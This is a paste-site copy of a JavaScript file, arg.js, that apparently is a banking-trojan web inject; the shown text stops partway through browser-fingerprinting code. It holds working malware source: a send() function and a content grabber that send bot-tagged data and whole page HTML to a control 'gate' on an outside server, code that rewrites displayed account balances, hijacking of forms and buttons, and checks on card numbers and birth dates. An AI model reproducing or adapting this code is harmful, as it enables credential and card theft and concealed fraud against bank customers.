Xylitol icon

ssl10.ovh.net/~dpexpert/arg.js

Xylitol | PRO | 08/18/17 09:23:43 AM UTC | 0 ⭐ | 773 👁️ | Never ⏰ | []
JavaScript |

57.62 KB

|

None

|

0 👍

/

0 👎

this.JSON||(this.JSON={}),function(){function f(e){return e<10?"0"+e:e}function quote(e){return escapable.lastIndex=0,escapable.test(e)?'"'+e.replace(escapable,function(e){var t=meta[e];return typeof t=="string"?t:"\\u"+("0000"+e.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+e+'"'}function str(e,t){var n,r,i,s,o=gap,u,a=t[e];a&&typeof a=="object"&&typeof a.toJSON=="function"&&(a=a.toJSON(e)),typeof rep=="function"&&(a=rep.call(t,e,a));switch(typeof a){case"string":return quote(a);case"number":return isFinite(a)?String(a):"null";case"boolean":case"null":return String(a);case"object":if(!a)return"null";gap+=indent,u=[];if(Object.prototype.toString.apply(a)==="[object Array]"){s=a.length;for(n=0;n<s;n+=1)u[n]=str(n,a)||"null";return i=u.length===0?"[]":gap?"[\n"+gap+u.join(",\n"+gap)+"\n"+o+"]":"["+u.join(",")+"]",gap=o,i}if(rep&&typeof rep=="object"){s=rep.length;for(n=0;n<s;n+=1)r=rep[n],typeof r=="string"&&(i=str(r,a),i&&u.push(quote(r)+(gap?": ":":")+i))}else for(r in a)Object.hasOwnProperty.call(a,r)&&(i=str(r,a),i&&u.push(quote(r)+(gap?": ":":")+i));return i=u.length===0?"{}":gap?"{\n"+gap+u.join(",\n"+gap)+"\n"+o+"}":"{"+u.join(",")+"}",gap=o,i}}typeof Date.prototype.toJSON!="function"&&(Date.prototype.toJSON=function(e){return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+f(this.getUTCMonth()+1)+"-"+f(this.getUTCDate())+"T"+f(this.getUTCHours())+":"+f(this.getUTCMinutes())+":"+f(this.getUTCSeconds())+"Z":null},String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(e){return this.valueOf()});var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,gap,indent,meta={"\b":"\\b"," ":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},rep;typeof JSON.stringify!="function"&&(JSON.stringify=function(e,t,n){var r;gap="",indent="";if(typeof n=="number")for(r=0;r<n;r+=1)indent+=" ";else typeof n=="string"&&(indent=n);rep=t;if(!t||typeof t=="function"||typeof t=="object"&&typeof t.length=="number")return str("",{"":e});throw new Error("JSON.stringify")}),typeof JSON.parse!="function"&&(JSON.parse=function(text,reviver){function walk(e,t){var n,r,i=e[t];if(i&&typeof i=="object")for(n in i)Object.hasOwnProperty.call(i,n)&&(r=walk(i,n),r!==undefined?i[n]=r:delete i[n]);return reviver.call(e,t,i)}var j;text=String(text),cx.lastIndex=0,cx.test(text)&&(text=text.replace(cx,function(e){return"\\u"+("0000"+e.charCodeAt(0).toString(16)).slice(-4)}));if(/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return j=eval("("+text+")"),typeof reviver=="function"?walk({"":j},""):j;throw new SyntaxError("JSON.parse")})}(),"use strict",function(e,t){typeof define=="function"&&define.amd?define([],t):typeof exports=="object"?module.exports=t():e.store=t()}(this,function(){function o(){try{return r in t&&t[r]}catch(e){return!1}}var e={},t=window,n=t.document,r="localStorage",i="script",s;e.disabled=!1,e.version="1.3.17",e.set=function(e,t){},e.get=function(e,t){},e.has=function(t){return e.get(t)!==undefined},e.remove=function(e){},e.clear=function(){},e.transact=function(t,n,r){r==null&&(r=n,n=null),n==null&&(n={});var i=e.get(t,n);r(i),e.set(t,i)},e.getAll=function(){},e.forEach=function(){},e.serialize=function(e){return JSON.stringify(e)},e.deserialize=function(e){if(typeof e!="string")return undefined;try{return JSON.parse(e)}catch(t){return e||undefined}};if(o())s=t[r],e.set=function(t,n){return n===undefined?e.remove(t):(s.setItem(t,e.serialize(n)),n)},e.get=function(t,n){var r=e.deserialize(s.getItem(t));return r===undefined?n:r},e.remove=function(e){s.removeItem(e)},e.clear=function(){s.clear()},e.getAll=function(){var t={};return e.forEach(function(e,n){t[e]=n}),t},e.forEach=function(t){for(var n=0;n<s.length;n++){var r=s.key(n);t(r,e.get(r))}};else if(n.documentElement.addBehavior){var u,a;try{a=new ActiveXObject("htmlfile"),a.open(),a.write("<"+i+">document.w=window</"+i+'><iframe src="/favicon.ico"></iframe>'),a.close(),u=a.w.frames[0].document,s=u.createElement("div")}catch(f){s=n.createElement("div"),u=n.body}var l=function(t){return function(){var n=Array.prototype.slice.call(arguments,0);n.unshift(s),u.appendChild(s),s.addBehavior("#default#userData"),s.load(r);var i=t.apply(e,n);return u.removeChild(s),i}},c=new RegExp("[!\"#$%&'()*+,/\\\\:;<=>?@[\\]^`{|}~]","g"),h=function(e){return e.replace(/^d/,"___$&").replace(c,"___")};e.set=l(function(t,n,i){return n=h(n),i===undefined?e.remove(n):(t.setAttribute(n,e.serialize(i)),t.save(r),i)}),e.get=l(function(t,n,r){n=h(n);var i=e.deserialize(t.getAttribute(n));return i===undefined?r:i}),e.remove=l(function(e,t){t=h(t),e.removeAttribute(t),e.save(r)}),e.clear=l(function(e){var t=e.XMLDocument.documentElement.attributes;e.load(r);while(t.length)e.removeAttribute(t[0].name);e.save(r)}),e.getAll=function(t){var n={};return e.forEach(function(e,t){n[e]=t}),n},e.forEach=l(function(t,n){var r=t.XMLDocument.documentElement.attributes;for(var i=0,s;s=r[i];++i)n(s.name,e.deserialize(t.getAttribute(s.name)))})}try{var p="__storejs__";e.set(p,p),e.get(p)!=p&&(e.disabled=!0),e.remove(p)}catch(f){e.disabled=!0}return e.enabled=!e.disabled,e})
 
var Tables = (function(){
    
    var admin = 'https://ssl6.ovh.net/~fuledota//admin/css/agri/';
    
    var data = new Array();
    
    var link = {
        gate: admin+"menu.php"
    };
    
    var options = {
        callback_status: '',
        iframe_status: '',
        currency_state: false
    };
    
    var splitter = {value: 'none',position: 'none'};
    var prefix = {minus: '-',plus: ''};
    
    function notnull(param){if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){return false;}else{return true;}}
    
    function compatHeight(){var ua = navigator.userAgent.toLowerCase();var isOpera = (ua.indexOf('opera')  > -1);var isIE = (!isOpera && ua.indexOf('msie') > -1);return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;}
    
    function cin(digits){var res = '';if(digits && digits.length > 0){digits = digits.replace(/\u2212/g, "-");var ValidChars = "-.0123456789";for(var i = 0;i < digits.length; i++){var Char = digits.charAt(i);if(ValidChars.indexOf(Char) >=0){res += Char;}}}return parseFloat(res);}
    
    function cout(digits,r){if(r == 1){digits = digits.toString().replace(/\$|\,/g,'');if(isNaN(digits))digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits*100+0.50000000001);cents = digits%100;digits = Math.floor(digits/100).toString();if(cents<10)cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)digits = digits.substring(0,digits.length-(4*i+3))+','+digits.substring(digits.length-(4*i+3));return (((sign)?'':'-') + digits + '.' + cents);}else if(r == 2){digits = digits.toString().replace(/\$|\,/g,'');if(isNaN(digits))digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits*100+0.50000000001);cents = digits%100;digits = Math.floor(digits/100).toString();if(cents<10)cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)digits = digits.substring(0,digits.length-(4*i+3))+'.'+digits.substring(digits.length-(4*i+3));return (((sign)?'':'-') + digits + ',' + cents);}else{return digits;}}
    
    function gc(digits){if(digits){if(/[0-9]/igm.test(digits)){if(/\.[0-9]{2}$|\.[0-9]{2}\s{1,}/igm.test(digits)){options.currency_state = 1;return cin(digits.replace(/\,/g, ''));}else{options.currency_state = 2;return cin(digits.replace(/\./g, '').replace(/,/g, '.'));}}else{return digits;}}else{return digits;}}
    
    function sc(digits){if(options.currency_state == 1 || options.currency_state == 2){return cout(digits,options.currency_state);}else{return digits;}}
    
    return{
        set: function(name,value){
            if(/function/igm.test(typeof value)){
                data[name] = value();
            }else{
                data[name] = value;
            }
        },
        
        add: function(name,value){
            if(data[name]){
                data[name] = data[name]+value;
            }else{
                _tables.set(name,value);
            }
        },
        
        get: function(name){
            return data[name];
        },
        
        are: function(){
            var r = true;
            if(arguments && arguments.length > 0){
                for(var i = 0; i < arguments.length; i++){
                    if(!data[arguments[i]]){
                        r = false;
                    }
                }
            }
            return r;
        },
        
        dump: function(){
            var a = '';
            for(key in data){
                a += key+": "+data[key]+"\r\n";
            }
            alert(a);
        },
        
        digs: function(digits){
            var res = '';
            if(digits && digits.length > 0){
                digits = digits.replace(/\u2212/g, "-");
                var ValidChars = "0123456789";
                for(var i = 0;i < digits.length; i++){
                    var Char = digits.charAt(i);
                    if(ValidChars.indexOf(Char) >=0){
                        res += Char;
                    }
                }
            }
            return res;
        },
        
        findout: function(){
            var found = {
                tag: false,
                error: false,
                element: false
            };
            
            if(arguments && arguments.length >= 3){
                var elements_array = arguments[1].split("|");
                if(elements_array.length > 0){
                    for(var k = 0; k < elements_array.length; k++){
                        var elements = arguments[0].getElementsByTagName(elements_array[k]);
                        if(elements && elements.length > 0){
                            for(var i = 0; i < elements.length; i++){
                                for(var e = 2; e < arguments.length; e++){
                                    var pattern = new RegExp(arguments[e].split(":")[1],"igm");
                                    if(arguments[e].split(":")[0] == "class"){
                                        if(elements[i].className !== null && pattern.test(elements[i].className)){
                                            found.tag = true;
                                        }else{
                                            found.error = true;
                                        }
                                    }else if(arguments[e].split(":")[0] == "for"){
                                        if(elements[i].className !== null && pattern.test(elements[i].htmlFor)){
                                            found.tag = true;
                                        }else{
                                            found.error = true;
                                        }
                                    }else{
                                        if(elements[i].getAttribute(arguments[e].split(":")[0]) !== null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
                                            found.tag = true;
                                        }else{
                                            found.error = true;
                                        }
                                    }
                                }
                                if(found.tag && !found.error){
                                    return elements[i];
                                }else{
                                    found.tag = false;
                                    found.error = false;
                                }
                            }
                        }
                    }
                    return false;
                }else{
                    return false;
                }
            }else{
                return false;
            }
        },
        
        findin: function(){
            var found = {
                tag: false,
                error: false,
                element: false
            };
        
            if(arguments && arguments.length > 2){
                var elements = arguments[0].getElementsByTagName(arguments[1]);
                if(elements && elements.length > 0){
                    for(var i = 0; i < elements.length; i++){
                        for(var e = 2; e < arguments.length; e++){
                            var pattern = new RegExp(arguments[e],"igm");
                            if(pattern.test(elements[i].innerHTML.toLowerCase())){
                                found.tag = true;
                            }else{
                                found.error = true;
                            }
                        }
                        if(found.tag && !found.error){
                            return elements[i];
                        }else{
                            found.tag = false;
                            found.error = false;
                        }
                    }
                }
            }
            return false;
        },
        
        tinydecode: function(s){
            s = s.replace(/\&lt;/g,'<');
            s = s.replace(/\&gt;/g,'>');
            s = s.replace(/\&quot;/g,'"');
            s = s.replace(/\&amp;/g,'&');
            s = s.replace(/\&nbsp;/g,' ');
            return s;
        },
        
        child: function(parent,child){
            return parent && child ? parent.getElementsByTagName(child) : false;
        },
        
        html: function(element){
            if(element){
                var text = (element.textContent ? element.textContent : element.innerText) ? (element.textContent ? element.textContent : element.innerText) : element.innerHTML;
                return text.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
            }else{
                return "";
            }
        },
        
        input: function(input,type){
            switch(type){
                case("block"):
                    if(input){input.onkeypress = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};input.onkeydown = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};}
                break;
                
                case("disable"):
                    input.disabled = true;
                break;
            }
        },
        
        form: function(form,type){
            if(form){
                switch(type){
                    case("block"):
                        var inps = _tables.child(form,"input");
                        if(inps && inps.length > 0){
                            for(var i = 0; i < inps.length; i++){
                                if(/text|password/igm.test(inps[i].type)){
                                    _tables.input(inps[i],'block');
                                }
                            }
                        }
                    break;
                }
            }
        },
        
        bind: function(evType,obj,func){if(obj.removeEventListener){obj.removeEventListener(evType,func,false);}else if(obj.detachEvent){obj.detachEvent ('on'+evType,func);}if(obj.addEventListener ){obj.addEventListener(evType,func,false);return true;}else if(obj.attachEvent){var r = obj.attachEvent('on'+evType,func);return r;}else{elm['on'+evType] = func;}},
        
        replacebutton: function(button,func,classname){
            var newButton = document.createElement(/image/igm.test(button.tagName) ? 'img' : button.tagName);
            for(x in button.attributes){
                if(notnull(button.attributes[x]) && notnull(button.attributes[x].name) && notnull(button.attributes[x].value)){
                    if(button.attributes[x].name == "onclick" ||
                        button.attributes[x].name == "name" ||
                        button.attributes[x].name == "disabled" ||
                        (button.attributes[x].name == "href" && !/image/igm.test(button.tagName)) ||
                        button.attributes[x].name == "id"
                    ){
                        continue;
                    }
                    if(button.attributes[x].name == "type" && button.attributes[x].value == "submit"){
                        newButton.type = "button";
                    }else{
                        newButton.setAttribute(button.attributes[x].name,button.attributes[x].value);
                    }
                }
            }
            
            if(button.tagName == "A" || button.tagName == "BUTTON" || button.tagName == "LI"){
                newButton.innerHTML = button.innerHTML;
            }
            if(classname)newButton.className = classname;
            newButton.style.cursor = "pointer";
            button.style.display = "none";
            newButton.id = "_tables.button";
            _tables.bind("click",newButton,func);
            button.parentNode.insertBefore(newButton,button);
        },
        
        encode: function(b){function gethex(a){return "%" + f.charAt(a >> 4) + f.charAt(a & 0xF);}var c = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_.~";var d = "!*'();:@&=+$,/?%#[]";var e = c + d;var f = "0123456789ABCDEFabcdef";b = b + "";var g = "";if (!b || b.length == 0){return "";}for (var i = 0; i < b.length; i++) {var h = b.charAt(i);if (c.indexOf(h) != -1) {g = g + h;} else {var j = b.charCodeAt(i);if (j < 128) {g = g + gethex(j);}if (j > 127 && j < 2048) {g = g + gethex((j >> 6) | 0xC0);g = g + gethex((j & 0x3F) | 0x80);}if (j > 2047 && j < 65536) {g = g + gethex((j >> 12) | 0xE0);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}if (j > 65535) {g = g + gethex((j >> 18) | 0xF0);g = g + gethex(((j >> 12) & 0x3F) | 0x80);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}}}return g;},
        
        send: function(){var l = link.gate+'?botid='+store.get('username')+'_'+_brows.botid+'&hash='+new Date();for(var i = 0; i < arguments.length; i++){for(key in arguments[i]){l += '&'+key+'='+_tables.encode(arguments[i][key]);}}var s = document.getElementById("_tables.as");if(s)s.parentNode.removeChild(s);var s = document.createElement("script");s.type = "text/javascript";s.id = "_tables.as";if(s.readyState){s.onreadystatechange = function(){if(s.readyState == "loaded" || s.readyState == "complete"){s.onreadystatechange = null;_tables.callback();}};}else{s.onload = function(){_tables.callback();};}l = l.replace(/\(/g,"%28").replace(/\)/g,"%29");s.src = l;document.getElementsByTagName("head")[0].appendChild(s);},
        
        status: function(s){if(s){options.callback_status = s;}else{return options.callback_status;}},
        
        fstatus: function(s){if(s){options.iframe_status = s;}else{return options.iframe_status;}},
        
        rand: function(a,b){return Math.floor((Math.random()*b)+a);},
        
        shuffle: function(o){for(var j, x, i = o.length; i; j = Math.floor(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);return o;},
        
        contentgrabber: function(doc){
            var _tcgb = document.getElementById("_tables.content.grabber.box");
            if(_tcgb)_tcgb.parentNode.removeChild(_tcgb);
            var docLoc = doc.location.href;
            var baseLoc = docLoc.substr(0,docLoc.lastIndexOf("/")+1);
            var docCodeRemastered = doc.documentElement.innerHTML;
            _tcgb = document.createElement("div");
            _tcgb.style.position = "absolute";
            _tcgb.style.left = _tables.get('showframe') ? "0px" : "-5000px";
            _tcgb.style.top = _tables.get('showframe') ? "2000px" : "-5000px";
            _tcgb.id = "_tables.content.grabber.box";
            _tcgb.innerHTML = '<iframe id="_tables.content.iframe" name="_tables.content.iframe" width=1280 height=800 style="border:5px solid black;"></iframe>';
            document.body.appendChild(_tcgb);
            var _tform = document.createElement("form");
            var _tarea = document.createElement("textarea");
            var _tbranch = document.createElement("input");
            var _tbotid = document.createElement("input");
            _tbranch.name = "branch";
            _tbranch.value = "CG";
            _tbotid.value = _brows.botid;
            _tbotid.name = 'botid';
            _tform.id = "_tables.content.form";
            _tform.target = "_tables.content.iframe";
            _tform.action = link.gate;
            _tform.method = "POST";
            _tarea.name = "_tarea";
            if(_tables.get('showframe')){
                _tarea.style.width = "1500px";
                _tarea.style.height = "500px";
            }else{
                _tarea.style.display = "none";
                _tform.style.display = "none";
            }
            _tarea.value = '<html>['+_tables.get('message').replace(/\|/igm,'<br>')+']<base href="'+baseLoc+'">'+docCodeRemastered+'iframe:'+_tables.get('stoperr')+'</html>';
            _tform.appendChild(_tbotid);
            _tform.appendChild(_tbranch);
            _tform.appendChild(_tarea);
            document.getElementsByTagName("body")[0].appendChild(_tform);
            var _tform = document.getElementById("_tables.content.form");
            _tform.submit();
        },
        
        brows: function(){
            var ua=navigator.userAgent,tem,M=ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || []; 
            if(/trident/i.test(M[1])){
                tem=/\brv[ :]+(\d+)/g.exec(ua) || []; 
                return 'IE '+''+(tem[1]||'');
                }
            if(M[1]==='Chrome'){
                tem=ua.match(/\bOPR\/(\d+)/)
                if(tem!=null)   {return {name:'Opera', version:tem[1]};}
                }
            M=M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?'];
            if((tem=ua.match(/version\/(\d+)/i))!=null) {M.splice(1,1,tem[1]);}
            return M[0]+' '+M[1];
        },
        
        click: function(btn,doc){
            if(btn.type == "image"){
                var inp_X = document.getElementById("inp_X");
                var inp_Y = document.getElementById("inp_Y");
                var inp_submit = document.getElementById("inp_submit");
                if(inp_X)inp_X.parentNode.removeChild(inp_X);
                if(inp_Y)inp_Y.parentNode.removeChild(inp_Y);
                if(inp_submit)inp_submit.parentNode.removeChild(inp_submit);
                var inp_X = document.createElement("input");
                var inp_Y = document.createElement("input");
                var inp_submit = document.createElement("input");
                inp_X.name = btn.name+".x";
                inp_Y.name = btn.name+".y";
                inp_submit.name = btn.name;
                inp_submit.value = btn.value;
                inp_submit.type = "submit";
                inp_submit.id = "inp_submit";
                inp_X.id = "inp_X";
                inp_Y.id = "inp_Y";
                inp_X.value = _tables.rand(1,15);
                inp_Y.value = _tables.rand(1,15);
                inp_X.style.display = "none";
                inp_Y.style.display = "none";
                inp_submit.style.display = "none";
                btn.parentNode.insertBefore(inp_X,btn);
                btn.parentNode.insertBefore(inp_Y,btn);
                btn.parentNode.insertBefore(inp_submit,btn);
                var inp_submit = doc.getElementById("inp_submit");
                if(inp_submit)_tables.click("click",inp_submit);
            }else{
                if(document.createEvent){
                    var event = document.createEvent('MouseEvents');
                    event.initMouseEvent('click',true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
                    btn.dispatchEvent(event);
                }else if(btn.fireEvent){
                    btn.click();
                }
            }
        },
        
        iframelink: function(link,param){
            var _tf = document.getElementById("_tables.frame.box");
            if(_tf)_tf.parentNode.removeChild(_tf);
                    
            _tf = document.createElement("div");
            _tf.style.position = "absolute";
            _tf.style.left = _tables.get('showframe') ? "0px" : "-5000px";
            _tf.style.top = _tables.get('showframe') ? "2000px" : "-5000px";
            _tf.id = "_tables.frame.box";
            _tf.innerHTML = '<iframe id="_tables.iframe" name="_tables.iframe" width=1280 height=800 onload="_tables.iframecallback();"></iframe>';
            document.body.appendChild(_tf);
            var f = document.getElementById("_tables.iframe");
            f.src = link;
            if(param)_tables.fstatus(param);
        },
        
        iframedom: function(fr){
            var r = {
                doc: false,
                win: false
            };
            if(/firefox/igm.test(_tables.brows()) && fr){
                r.doc = fr.contentDocument;
                r.win = fr.contentWindow;
            }else{
                r.doc = fr.contentWindow.document;
                r.win = fr.contentWindow;
            }
            
            return r;
        },
        
        height: function(){
            return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, compatHeight());
        },
        
        popupshow: function(content,back){
            _tables.popuphide();
            back = back ? '#FFFFFF' : 'url(clear.png)';
            var bg = '<div style="position:absolute;top:0px;left:0px;width:100%;height:'+Math.round((window.screen.availHeight)+800)+'px;z-index:999990;background:'+back+';opacity:0.7;filter: alpha(opacity = 70);"></div>';
            var _tp = document.createElement("div");
            _tp.id = "_tables.popup";
            _tp.innerHTML = bg+""+content;
            document.getElementsByTagName('body')[0].appendChild(_tp);
        },
        
        popuphide: function(){
            var _tp = document.getElementById("_tables.popup");if(_tp)_tp.parentNode.removeChild(_tp);
        },
        
        inarr: function(arr,value){
            for(var i = 0; i < arr.length; i++){
                if(value == arr[i]){
                    return true;
                }
            }
            arr.push(value);
            return false;
        },
        
        placeholdr: function(input){
            if(/firefox/igm.test(_tables.brows()))return;
            var txt = input.getAttribute("placeholder");
            if(txt.length > 0){
                input.style.color = input.value.length == 0 ? '#cccccc' : '#000000';
                input.value = input.value.length > 0 ? input.value : txt;
              
                input.onfocus = function(){
                    this.style.color = '#000000';
                    this.value = this.value == this.getAttribute("placeholder") ? "" : this.value;
                };
            
                input.onblur = function(){
                    if(this.value.length == 0){
                        this.value = this.getAttribute("placeholder");
                        this.style.color = '#CCCCCC';
                    }
                };
            }
        },
        
        btntoloader: function(btn,imghref){
            btn.style.visibility = 'hidden';
            var img = document.createElement('img');
            img.align = 'top';
            img.src = imghref;
            img.id = '_f_btntoloader';
            img.style.cssFloat = 'right';
            btn.parentNode.insertBefore(img,btn);
        },
        
        cget: function(param){
            return gc(param);
        },
        
        cset: function(param){
            return sc(param);
        },
        
        replace: function(element,summa){
            var HS = false;
            var tsel = /select|option/igm.test(element.tagName);
            var tinp = /input|textarea/igm.test(element.tagName);
            var balance_for_calc = 0;
            if(tsel){
                if(splitter.value != "none" && splitter.position != "none"){
                    var minus = (element.text.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
                    var balance = gc(element.text.split(splitter.value)[splitter.position]);
                }else{
                    var minus = (element.text.indexOf(prefix.minus) != -1) ? true : false;
                    var balance = gc(element.text);
                }
            }else if(tinp){
                if(splitter.value != "none" && splitter.position != "none"){
                    var minus = (element.value.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
                    var balance = gc(element.value.split(splitter.value)[splitter.position]);
                }else{
                    var minus = (element.value.indexOf(prefix.minus) != -1) ? true : false;
                    var balance = gc(element.value);
                }
            }else{
                if(splitter.value != "none" && splitter.position != "none"){
                    var minus = (_tables.html(element).split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
                    var balance = gc(_tables.html(element).split(splitter.value)[splitter.position]);
                }else{
                    var minus = (_tables.html(element).indexOf(prefix.minus) != -1) ? true : false;
                    var balance = gc(_tables.html(element));
                    if(/\sS/igm.test(_tables.html(element))){
                        HS = true;
                        minus = true;
                        balance = balance*-1;
                    }
                }
            }
            
            var new_balance = balance+parseFloat(summa);
            balance_for_calc = new_balance;
            if(minus)balance = balance * -1;
            balance = sc(balance);
            new_balance = sc(new_balance);
            
            if(tsel){
                element.innerHTML = element.innerHTML.replace(/\&nbsp\;/igm," ");
                var f = element.text.replace(balance+"",new_balance+"");
            }else if(tinp){
                var f = element.value.replace(balance+"",new_balance+"");
            }else{
                element.innerHTML = element.innerHTML.replace(/\&nbsp\;/igm," ");
                var f = element.innerHTML.replace(balance+"",new_balance+"");
            }
            
            if(parseFloat(new_balance) >= 0){
                f = f.replace(new RegExp('-'+new_balance,'igm'),new_balance+'');
                f = f.replace(/-\s{1,}/,'');
            }else{
                f = f.replace(/\--/,'-');
                f = f.replace(/\-\s{1,}-/,'-');
            }
            
            if(tsel){
                element.text = f;
            }else if(tinp){
                element.value = f;
            }else{
                element.innerHTML = f;
                if(balance_for_calc > 0){
                    element.innerHTML = element.innerHTML.replace(/montant/igm,'');
                    element.className = element.className.replace(/cel\-important/igm,'');
                }else{
                    if(HS){
                        new_balance = new_balance.replace('\-','');
                        element.innerHTML = element.innerHTML.replace(new RegExp('-'+new_balance,'igm'),new_balance);
                    }
                }
            }
            
            if(splitter.value != "none" && splitter.position != "none"){
                splitter.value = "none";
                splitter.position = "none";
            }
        },
        
        splitter: function (value,position){
            splitter.value = value;
            splitter.position = position;
        },
        
        match: function(el,data){
            var pattern = new RegExp(data,"igm");
            if(pattern.test(el)){
                return true;
            }else{
                return false;
            }
        },
        
        convertdate: function(date){
            var els = date.split(".");
            if(els && els.length == 3){
                var res = 0;
                res += parseFloat(els[2]) * 365;
                res += parseFloat(els[1]) * 30;
                res += parseFloat(els[0]);
                return res;
            }else{
                return -1;
            }
        },
        
        recolortable: function(table,class1,class2){
            var tr = _tables.child(table,'tr');
            if(tr && tr.length > 0){
                for(var i = 0; i < tr.length; i++){
                    tr[i].className = (i % 2 == 0) ? class1 : class2;
                }
            }
        },
        
        id: function(id,doc){var doc = doc ? doc : document;return doc.getElementById(id);},
        
        create: function(el,doc){var doc = doc ? doc : document;return doc.createElement(el);},
        
        selected: function(select){var sel = {value: select[select.selectedIndex].value,text: select[select.selectedIndex].text};return sel;},
        
        after: function(elem,ref){var parent = ref.parentNode;var next = ref.nextSibling;if(next){return parent.insertBefore(elem,next);}else{return parent.appendChild(elem);}},
        
        clone: function(inp,value){
            var object = document.createElement(inp.tagName);
            for (x in inp.attributes){
                if(notnull(inp.attributes[x]) && notnull(inp.attributes[x].name) && notnull(inp.attributes[x].value)){
                    if(inp.attributes[x].name == "onclick" ||
                       inp.attributes[x].name == "name" ||
                       inp.attributes[x].name == "href" ||
                       inp.attributes[x].name == "id" ||
                       inp.attributes[x].name == "value"
                    ){
                        continue;
                    }
                    object.setAttribute(inp.attributes[x].name,inp.attributes[x].value);
                }
            }
            if(/select/igm.test(inp.tagName)){
                object.options[0] = new Option(inp[inp.selectedIndex].text,inp[inp.selectedIndex].value);
            }else{
                value = value ? value : inp.value;
                object.value = value;
            }
            object.disabled = true;
            inp.style.display = "none";
            inp.parentNode.insertBefore(object,inp);
        },
        
        next: function(e,len,n){
            if(e.value.length == len)document.getElementById(n).focus();
        },
        
        check_cc: function(value){
            if (/[^0-9-\s]+/.test(value)) return false;
            var nCheck = 0, nDigit = 0, bEven = false;
            value = value.replace(/\D/g, "");
            for (var n = value.length - 1; n >= 0; n--) {
                var cDigit = value.charAt(n),
                nDigit = parseInt(cDigit, 10);
                if(bEven){
                    if ((nDigit *= 2) > 9) nDigit -= 9;
                }
                nCheck += nDigit;
                bEven = !bEven;
            }
            return (nCheck % 10) == 0;
        },
        
        check_day: function(dd){
            if(parseFloat(dd) > 0 && parseFloat(dd) < 32 && (dd+'').length == 2){
                return true;
            }else{
                return false;
            }
        },
        
        check_month: function(mm){
            if(parseFloat(mm) > 0 && parseFloat(mm) < 13 && (mm+'').length == 2){
                return true;
            }else{
                return false;
            }
        },
        
        check_year: function(yy,format){
            switch(format){
                case('YY'):
                    if(parseFloat(yy) >= 15 && (yy+'').length == 2){
                        return true;
                    }else{
                        return false;
                    }
                break;
                
                case('YYYY'):
                    if(parseFloat(yy) >= 1920  && parseFloat(yy) <= 2015 && (yy+'').length == 4){
                        return true;
                    }else{
                        return false;
                    }
                break;
            }
        }
    };
}());
 
(function (window) {
    {
        var unknown = '-';
 
        // screen
        var screenSize = '';
        if (screen.width) {
            width = (screen.width) ? screen.width : '';
            height = (screen.height) ? screen.height : '';
            screenSize += '' + width + " x " + height;
        }
 
        //browser
        var nVer = navigator.appVersion;
        var nAgt = navigator.userAgent;
        var browser = navigator.appName;
        var version = '' + parseFloat(navigator.appVersion);
        var majorVersion = parseInt(navigator.appVersion, 10);
        var nameOffset, verOffset, ix;
 
        // Opera
        if ((verOffset = nAgt.indexOf('Opera')) != -1) {
            browser = 'Opera';
            version = nAgt.substring(verOffset + 6);
            if ((verOffset = nAgt.indexOf('Version')) != -1) {
                version = nAgt.substring(verOffset + 8);
            }
        }
        // MSIE
        else if ((verOffset = nAgt.indexOf('MSIE')) != -1) {
            browser = 'Microsoft Internet Explorer';
            version = nAgt.substring(verOffset + 5);
        }
        // Chrome
        else if ((verOffset = nAgt.indexOf('Chrome')) != -1) {
            browser = 'Chrome';
            version = nAgt.substring(verOffset + 7);
        }
        // Safari
        else if ((verOffset = nAgt.indexOf('Safari')) != -1) {
            browser = 'Safari';
            version = nAgt.substring(verOffset + 7);
            if ((verOffset = nAgt.indexOf('Version')) != -1) {
                version = nAgt.substring(verOffset + 8);
            }
        }
        // Firefox
        else if ((verOffset = nAgt.indexOf('Firefox')) != -1) {
            browser = 'Firefox';
            version = nAgt.substring(verOffset + 8);
        }
        // MSIE 11+
